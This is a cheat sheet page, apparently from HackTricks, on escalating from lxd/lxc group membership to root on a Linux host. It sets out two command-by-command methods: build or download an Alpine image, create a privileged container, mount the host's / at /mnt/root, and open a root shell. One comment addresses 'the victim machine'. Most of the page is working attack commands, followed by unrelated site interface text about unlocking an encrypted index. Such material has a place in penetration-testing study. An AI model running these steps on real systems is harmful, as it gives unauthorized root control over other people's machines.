// HackTricks · Linux

lxd/lxc Group - Privilege escalation

lxd/lxc Group - Privilege escalation

Membership in the host’s LXD management group (normally lxd) can provide a path to root by allowing full control of the daemon.[1]

Exploiting without internet

Method 1

You can download an Alpine image to use with LXD from a trusted repository. Canonical’s LXD image server publishes daily builds: https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/ Just grab both lxd.tar.xz and rootfs.squashfs from the newest build (the directory name is the date).[8]

Alternatively, you can install distrobuilder on your machine by following the project instructions.[4][5][6]

# Install requirements
sudo apt update
sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage    

# Clone repo
mkdir -p $HOME/go/src/github.com/lxc/
cd $HOME/go/src/github.com/lxc/
git clone https://github.com/lxc/distrobuilder

# Make distrobuilder
cd ./distrobuilder
make

# Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

# Create the container - Beware of architecture while compiling locally.
sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64

Upload incus.tar.xz (lxd.tar.xz if you downloaded from the Canonical image server) and rootfs.squashfs, then import the image and create a container.[2][3][5][8][9]

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

# Check the image is there
lxc image list

# Create the container
lxc init alpine privesc -c security.privileged=true

# List containers
lxc list

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

[!CAUTION] If you find this error Error: No storage pool found. Please create a new storage pool
Run lxd init, set up a default storage pool, then repeat the previous chunk of commands.[2]

Finally, start the container and open a root shell on the host filesystem:[1][2]

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Method 2

Build an Alpine image and start it with the flag security.privileged=true, which maps container root to host root; mounting / then exposes the host filesystem inside the container.[1][7][9]

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.